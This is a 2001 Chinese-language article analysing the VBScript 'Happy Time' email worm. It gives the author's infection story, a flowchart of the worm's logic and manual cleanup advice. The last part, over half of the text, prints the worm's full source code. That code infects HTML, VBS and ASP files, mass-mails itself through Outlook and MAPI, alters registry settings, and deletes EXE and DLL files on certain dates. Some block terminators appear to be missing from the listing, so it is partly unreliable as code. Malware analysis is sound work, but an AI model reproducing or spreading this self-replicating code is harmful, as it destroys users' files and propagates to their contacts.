浅析欢乐时光（HAPPY TIME）病毒

徐广圻

01-5-11 下午 02:19:25

本人是个上网新手，今年四月份左右才开始上网。新手嘛，可不像高手那样，懂得如何使自己的电脑免受网络病毒之害，只使了个瑞星杀毒软件，以为如此一来就万事大吉了。刚开始上网时，简直在五光十色的各网站及信息的海洋中迷了路，东走西瞧，看见感兴趣的网页就保存，遇见有趣的软件即下载，想必列位初次上网时也如此吧。

沉醉于互联网带来的乐趣之中没几天，我的爱机就出现了异常：每隔十几秒钟，鼠标指针旁就出现一个沙漏图标一闪，似乎电脑在执行什么程序，可我关闭了一切程序，只剩了个WINDOWS桌面也无济于事，在此期间，电脑速度大幅下降，运行任何软件都是老半天才出画面，且每隔十几秒钟就停顿一下，无奈只得重启，但一选择了重新启动，电脑就没了反应，就在我以为死机时，跳出来个错误信息框说是内存严重不足？！天哪，我的爱机可是有256M内存呢！按CTRL+ALT+DEL键，出现关闭程序对话框，我在其中发现了几百个不明任务，都标着WSCRIPT。。。字样。看来电脑患上了瑞星也查不出的新病毒了。

此后的几天是段痛苦的经历，我让爱机拖着重病的身子在网上下载了一些杀毒软件，还好有一个金山毒霸的试用版，打开它的启发式查毒选项可以查出一未知病毒，但只能警告而不能杀除。偶然有一次，我打开一个保存在硬盘中的网页文件时也收到了警告，而其它网页文件则不警告，机会来了！我立即将其后缀名由HTM改为TXT，用记事本打开，在标记后露出了此病毒的庐山真面目。

病毒是用VBSCRIPT语言编写的，其第一行写着 I am sorry, happy time.(意为对不起您了，欢乐时光。真是气死人不偿命！恶作剧的混蛋口说"Sorry"祝人"欢乐"？！) 本人不懂VBSCRIPT语言，但曾学过VISUAL BASIC，再翻了一些VBSCRIPT的资料，一番临时抱佛脚后，开始解读病毒源程序。由于缺乏相应资料加之本人水平有限，不能读懂每一行代码，只能看出个大概，但我越分析越心惊，这是个仅浏览网站页面就会感染的高传染性，高破坏性的病毒！

先看一下此病毒的发病机制：

首次染毒时，会将WINDOWS \ WEB文件夹里的所有网页文件染上病毒，并找出这些文件中的任何EMAIL地址向它们发送病毒邮件，对方只要一打开即会染毒；

以后每隔十秒钟发作一次，但发作完后仍驻留在内存，十秒一次的发作，再大的内存也会给蚕食殆尽；

每次发作时，在普通的日子里，会找出一个后缀名为HTML、HTM、VBS、ASP的文件传染（别小看了每次一个文件，它可是十秒一次的发作哟！），并查出此文件中所有的EMAIL地址发送病毒邮件，在月份加天数为13的"特殊"日子里（1月12日、2月11日......12月1日），它每次发作会找出一个后缀名为EXE、DLL的文件（通常为重要的系统文件）来删除，使你的电脑彻底瘫痪；

该病毒在WINDOWS注册表内保存已发作的次数，每次发作时它检查已发作次数，如其是366的倍数，则向外乱发病毒邮件：如系统时间的秒数是偶数，则发送系统邮件，如是奇数，则到OUTLOOK的默任目录里取得EMAIL地址发送病毒邮件。

顺便说一句，由于此病毒发作频繁且乱发EMAIL，到月底结帐时，你可能要多付一大笔冤枉钱。

现在我们来看看这可恶的病毒的结构，看它是如何使得我们在浏览网页时即染毒的。

前面提到过，该病毒是用VBSCRIPT语言写成的，翻了一些资料，才知道VBSCRIPT是一种能增强网页功能的脚本语言，它嵌入HTML文件中，你浏览网页时，它也与HTML文件一起调入内存，由浏览器解释并执行。所以在你看到网页时，它其中所含的VBSCRIPT代码（如果有的话）已被执行，这样就很容易被心怀叵测者用来编制破坏程序。VBSCRIPT的设计者们也考虑到了这点，因此VBSCRIPT被设计成VISUAL BASIC的简化版，舍弃了一些"危险的"语句命令，所以VBSCRIPT是"安全的"，可用于网页的编制。确实光是VBSCRIPT的话确实无甚威胁，可是VBSCRIPT提供了创建并使用对象（OBJECT）功能，而WINDOWS提供大量对象给各种语言使用，利用这些对象你几乎能干任何事！比如说本病毒的许多破坏工作就是由创建并使用WSCRIPT（WINDOWS SCRIPT即WINDOWS脚本语言）对象来完成的，所以可以这样说：VBSCRIPT是不安全的，是危险的！欢乐时光病毒就是个最有力的见证！

言归正传，我们还是来看看病毒的结构。

初始化部分

初始化（建立SCRIPTLET.TYPELIB对象等）

↓

当前是HTML状态？

是 ↙ ↘ 否

━━━━━━ ━━━━━━━

↓ ↓

在WINDOWS目录下有HELP.VBS文件吗？运行主发作程序

↓

有 ↙ ↘ 无

━━━ ━━━━━━━

↓ （3） ↓ （1）

设置为每10秒钟调用一次将本文件中的病毒代码以HTML格式存为

HELP.VBS WINDOWS目录下的HELP.HTA文件，并调用HELP.HTA。

结束结束

主发作程序

↓

建立含有HTML，VBS，HTM，ASP的后缀名表

当前是HELP.VBS运行状态？

（4）是 ↙ ↘ 否（2）

━━━━━━ ━━━━━━━

↓ ↓

如月+天为13则将后缀名表改为用本病毒代码在WINDOWS目录下创

只包含EXE，DLL；建HELP.VBS文件，及UNTITLE.HTM

文件；

将注册表中的HKEY_CURRENT_USER

Software\Help\Count病毒发作计数加1；修改HKEY_CURRENT_USER\Identities

\用户标识号\Software\Microsoft

\look Express\5.0\Mail\下的键值：

Software\Help\File_Name待感染文件名 Message Send HTML改为1

取出，并按后缀名表找出下一待感染文件， Compose Use Stationery改为1

存于此处； Stationery Name改为指向 untitle.htm

查出其中的EMAIL地址发送病毒邮件；在WINDOWS\WEB目录下查找HTML，VBS，

HTM，ASP，HTT文件，在它们末尾如待

感染文件名是EXE，DLL文件则删除！

末尾添加本病毒代码，并查出其中的

EMAIL地址发送病毒邮件

用本病毒代码在WINDOWS目录下创建一个HTM文件并将其文件名写入HKEY_CURRENT_USER\Software\Help\Wallpaper及HKEY_CURRENT_USER\Control Panel\desktop\wallPaper

以上流程基本解释了其发病机制，现在我对流程上（）内的数字作一下说明：

刚开始接触本病毒时，我们一定是处于浏览含病毒的网页状态，也即是流程上的HTML状态，且此时硬盘上尚未有HELP.VBS病毒文件，所以病毒执行（1）分支，建立HELP.HTA病毒文件，并调用它。然后在HELP.HTA病毒文件运行时，此时它已不处于HTML状态，所以运行主发作程序，在主发作程序中，由于此时不是HELP.VBS运行状态所以运行（2）分支并建立HELP.VBS病毒文件，以后再遇见本病毒时，由于已有了HELP.VBS病毒文件，就执行（3）分支，设定为每10秒钟执行一次HELP.VBS，而HELP.VBS会执行主发作程序的（4）分支，完成一系列破坏任务。

听说现在已有了能杀此病毒的软件，具体我也不清楚。如你像我一样已不幸染毒，在得到杀毒软件前，首先应注意在"特殊"日子里不要开机，以免爱机成为死机；另外从流程可看出，本病毒只感染后缀名为HTM，HTML，VBS，ASP（以及WINDOWS\WEB下的HTT文件），所以你开机只至WINDOWS桌面出现都是安全的，把桌面的墙纸设为无，再次重新启动，注意不要使用我的电脑或是WINDOWS资源管理器，因为它们每次运行都要装入许多文件，极有可能激活病毒，你要处理文档最好进入DOS状态，在DOS下操作；注意不要看任何帮助信息，因为很多帮助文件都是HTML格式的。如你是编程好手，你可编个程序，检查硬盘中所有受感染后缀名为HTM，HTML，VBS，ASP的文件，并清除病毒，如你不会编程，又无杀毒软件，你只能用查找功能查出所有后缀名为HTM，HTML，VBS，ASP的文件，然后一一手工操作：重命名为TXT文件，打开检查，如文件尾有病毒则删除，保存后再改回原来的文件名，然后是下一个.......

但我们还要上网，还要浏览，即使我们有了能杀欢乐时光病毒的软件，谁能保证哪个家伙不会再写出诸如此类的病毒使我们受害？看来只有等微软出个能禁止VBSCRIPT，JAVASCRIPT，ACTIVE X........的浏览器来了。就我个人而言，情愿不要任何特效，只要安全。

最后，奉上欢乐时光病毒的源程序，供有兴趣者参考，如哪位高人能参透此程序，也请发表解析结果，让我们对次类病毒有更深认识。

我对源程序作了必要的缩进处理，以方便阅读。

欢乐时光病毒的源程序：

Rem I am sorry! happy time

On Error Resume Next

mload

Sub mload()

On Error Resume Next

mPath = Grf()

Set Os = CreateObject("Scriptlet.TypeLib")

Set Oh = CreateObject("Shell.Application")

If IsHTML Then

mURL = LCase(document.Location)

If mPath = "" Then

Os.Reset

Os.Path = "C:\Help.htm"

Os.Doc = Lhtml()

Os.Write()

Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"

Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)

Else

If Iv(mPath, "Help.vbs") Then

setInterval "Rt()", 10000

Else

m = "hta"

If LCase(m) = Right(mURL, Len(m)) Then

id = setTimeout("mclose()", 1)

main

Else

Os.Reset()

Os.Path = mPath & "\" & "Help.hta"

Os.Doc = Lhtml()

Os.write()

Iv mPath, "Help.hta"

End If

Else

main

End If

End Sub

Sub main()

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject")

Set Od = CreateObject("Scripting.Dictionary")

Od.Add "html", "1100"

Od.Add "vbs", "0100"

Od.Add "htm", "1100"

Od.Add "asp", "0010"

Ks = "HKEY_CURRENT_USER\Software\"

Ds = Grf()

Cs = Gsf()

If IsVbs Then

If Of.FileExists("C:\help.htm") Then

Of.DeleteFile ("C:\help.htm")

End If

Key = CInt(Month(Date) + Day(Date))

If Key = 13 Then

Od.RemoveAll

Od.Add "exe", "0001"

Od.Add "dll", "0001"

End If

Cn = Rg(Ks & "Help\Count")

If Cn = "" Then

Cn = 1

End If

Rw Ks & "Help\Count", Cn + 1

f1 = Rg(Ks & "Help\FileName")

f2 = FNext(Of, Od, f1)

fext = GetExt(Of, Od, f2)

Rw Ks & "Help\FileName", f2

If IsDel(fext) Then

f3 = f2

f2 = FNext(Of, Od, f2)

Rw Ks & "Help\FileName", f2

Of.DeleteFile f3

Else

If LCase(WScript.ScriptFullname) <> LCase(f2) Then

Fw Of, f2, fext

End If

If (CInt(Cn) Mod 366) = 0 Then

If (CInt(Second(Time)) Mod 2) = 0 Then

Tsend

Else

adds = Og

Msend (adds)

End If

wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")

If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then

If wp = "" Then

n1 = ""

n3 = Cs & "\Help.htm"

Else

mP = Of.GetFile(wp).ParentFolder

n1 = Of.GetFileName(wp)

n2 = Of.GetBaseName(wp)

n3 = Cs & "\" & n2 & ".htm"

End If

Set pfc = Of.CreateTextFile(n3, True)

mt = Sa("1100")

pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt

pfc.Close

Rw Ks & "Help\wallPaper", n3

Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3

End If

Else

Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)

fc.Write Sa("0100")

fc.Close

bf = Cs & "\Untitled.htm"

Set fc2 = Of.CreateTextFile(bf, True)

fc2.Write Lhtml

fc2.Close

oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")

oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"

MSH = oe & "\Message Send HTML"

CUS = oe & "\Compose Use Stationery"

SN = oe & "\Stationery Name"

Rw MSH, 1

Rw CUS, 1

Rw SN, bf

Web = Cs & "\WEB"

Set gf = Of.GetFolder(Web).Files

Od.Add "htt", "1100"

For Each m In gf

fext = GetExt(Of, Od, m)

If fext <> "" Then

Fw Of, m, fext

End If

End Sub

Sub mclose()

document.Write "<" & "title>I am sorry!</title" & ">"

window.Close

End Sub

Sub Rt()

Dim mPath

On Error Resume Next

mPath = Grf()

Iv mPath, "Help.vbs"

End Sub

Function Sa(n)

Dim VBSText, m

VBSText = Lvbs()

If Mid(n, 3, 1) = 1 Then

m = "<%" & VBSText & "%>"

End If

If Mid(n, 2, 1) = 1 Then

m = VBSText

End If

If Mid(n, 1, 1) = 1 Then

m = Lscript(m)

End If

Sa = m & vbCrLf

End Function

Sub Fw(Of, S, n)

Dim fc, fc2, m, mmail, mt

On Error Resume Next

Set fc = Of.OpenTextFile(S, 1)

mt = fc.ReadAll

fc.Close

If Not Sc(mt) Then

mmail = Ml(mt)

mt = Sa(n)

Set fc2 = Of.OpenTextFile(S, 8)

fc2.Write mt

fc2.Close

Msend (mmail)

End If

End Sub

Function Sc(S)

mN = "Rem I am sorry! happy time"

If InStr(S, mN) > 0 Then

Sc = True

Else

Sc = False

End If

End Function

Function FNext(Of, Od, S)

Dim fpath, fname, fext, T, gf

On Error Resume Next

fname = ""

T = False

If Of.FileExists(S) Then

fpath = Of.GetFile(S).ParentFolder

fname = S

ElseIf Of.FolderExists(S) Then

fpath = S

T = True

Else

fpath = Dnext(Of, "")

End If

Do While True

Set gf = Of.GetFolder(fpath).Files

For Each m In gf

If T Then

If GetExt(Of, Od, m) <> "" Then

FNext = m

Exit Function

End If

ElseIf LCase(m) = LCase(fname) Or fname = "" Then

T = True

End If

fpath = Pnext(Of, fpath)

Loop

End Function

Function Pnext(Of, S)

On Error Resume Next

Dim Ppath, Npath, gp, pn, T, m

T = False

If Of.FolderExists(S) Then

Set gp = Of.GetFolder(S).SubFolders

pn = gp.Count

If pn = 0 Then

Ppath = LCase(S)

Npath = LCase(Of.GetParentFolderName(S))

T = True

Else

Npath = LCase(S)

End If

Do While Not Er

For Each pn In Of.GetFolder(Npath).SubFolders

If T Then

If Ppath = LCase(pn) Then

T = False

End If

Else

Pnext = LCase(pn)

Exit Function

End If

T = True

Ppath = LCase(Npath)

Npath = Of.GetParentFolderName(Npath)

If Of.GetFolder(Ppath).IsRootFolder Then

m = Of.GetDriveName(Ppath)

Pnext = Dnext(Of, m)

Exit Function

End If

Loop

End If

End Function

Function Dnext(Of, S)

Dim dc, n, d, T, m

On Error Resume Next

T = False

m = ""

Set dc = Of.Drives

For Each d In dc

If d.DriveType = 2 Or d.DriveType = 3 Then

If T Then

Dnext = d

Exit Function

Else

If LCase(S) = LCase(d) Then

T = True

End If

If m = "" Then

m = d

End If

Dnext = m

End Function

Function GetExt(Of, Od, S)

Dim fext

On Error Resume Next

fext = LCase(Of.GetExtensionName(S))

GetExt = Od.Item(fext)

End Function

Sub Rw(k, v)

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")

R.RegWrite k, v

End Sub

Function Rg(v)

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")

Rg = R.RegRead(v)

End Function

Function IsVbs()

Dim ErrTest

On Error Resume Next

ErrTest = WScript.ScriptFullname

If Err Then

IsVbs = False

Else

IsVbs = True

End If

End Function

Function IsHTML()

Dim ErrTest

On Error Resume Next

ErrTest = document.Location

If Er Then

IsHTML = False

Else

IsHTML = True

End If

End Function

Function IsMail(S)

Dim m1, m2

IsMail = False

If InStr(S, vbCrLf) = 0 Then

m1 = InStr(S, "@")

m2 = InStr(S, ".")

If m1 <> 0 And m1 < m2 Then

IsMail = True

End If

End Function

Function Lvbs()

Dim f, m, ws, Of

On Error Resume Next

If IsVbs Then

Set Of = CreateObject("Scripting.FileSystemObject")

Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)

Lvbs = f.ReadAll

Else

For Each ws In document.scripts

If LCase(ws.Language) = "vbscript" Then

If Sc(ws.Text) Then

Lvbs = ws.Text

Exit Function

End If

End Function

Function Iv(mPath, mName)

Dim Shell

On Error Resume Next

Set Shell = CreateObject("Shell.Application")

Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb

If Er Then

Iv = False

Else

Iv = True

End If

End Function

Function Grf()

Dim Shell, mPath

On Error Resume Next

Set Shell = CreateObject("Shell.Application")

mPath = "C:\"

For Each mShell In Shell.NameSpace(mPath).Items

If mShell.IsFolder Then

Grf = mShell.Path

Exit Function

End If

If Er Then

Grf = ""

End If

End Function

Function Gsf()

Dim Of, m

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject")

m = Of.GetSpecialFolder(0)

If Er Then

Gsf = "C:\"

Else

Gsf = m

End If

End Function

Function Lhtml()

Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _

"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _

"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _

"<" & "/Body></HTML" & ">"

End Function

Function Lscript(S)

Lscript = "<" & "script language='VBScript'>" & vbCrLf & _

S & "<" & "/script" & ">"

End Function

Function Sl(S1, S2, n)

Dim l1, l2, l3, i

l1 = Len(S1)

l2 = Len(S2)

i = InStr(S1, S2)

If i > 0 Then

l3 = i + l2 - 1

If n = 0 Then

Sl = Left(S1, i - 1)

ElseIf n = 1 Then

Sl = Right(S1, l1 - l3)

End If

Else

Sl = ""

End If

End Function

Function Ml(S)

Dim S1, S3, S2, T, adds, m

S1 = S

S3 = """"

adds = ""

S2 = S3 & "mailto" & ":"

T = True

Do While T

S1 = Sl(S1, S2, 1)

If S1 = "" Then

T = False

Else

m = Sl(S1, S3, 0)

If IsMail(m) Then

adds = adds & m & vbCrLf

End If

Loop

Ml = Split(adds, vbCrLf)

End Function

Function Og()

Dim i, n, m(), Om, Oo

Set Oo = CreateObject("Outlook.Application")

Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items

n = Om.Count

ReDim m(n)

For i = 1 To n

m(i - 1) = Om.Item(i).Email1Address

Og = m

End Function

Sub Tsend()

Dim Od, MS, MM, a, m

Set Od = CreateObject("Scripting.Dictionary")

MConnect MS, MM

MM.FetchSorted = True

MM.Fetch

For i = 0 To MM.MsgCount - 1

MM.MsgIndex = i

a = MM.MsgOrigAddress

If Od.Item(a) = "" Then

Od.Item(a) = MM.MsgSubject

End If

For Each m In Od.Keys

MM.Compose

MM.MsgSubject = "Fw: " & Od.Item(m)

MM.RecipAddress = m

MM.AttachmentPathName = Gsf & "\Untitled.htm"

MM.Send

MS.SignOff

End Sub

Function MConnect(MS, MM)

Dim U

On Error Resume Next

Set MS = CreateObject("MSMAPI.MAPISession")

Set MM = CreateObject("MSMAPI.MAPIMessages")

U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")

MS.UserName = U

MS.DownLoadMail = False

MS.NewSession = False

MS.LogonUI = True

MS.SignOn

MM.SessionID = MS.SessionID

End Function

Sub Msend(Address)

Dim MS, MM, i, a

MConnect MS, MM

i = 0

MM.Compose

For Each a In Address

If IsMail(a) Then

MM.RecipIndex = i

MM.RecipAddress = a

i = i + 1

End If

MM.MsgSubject = " Help "

MM.AttachmentPathName = Gsf & "\Untitled.htm"

MM.Send

MS.SignOff

End Sub

Function Er()

If Err.Number = 0 Then

Er = False

Else

Err.Clear

Er = True

End If

End Function

Function IsDel(S)

If Mid(S, 4, 1) = 1 Then

IsDel = True

Else

IsDel = False

End If

End Function

</script>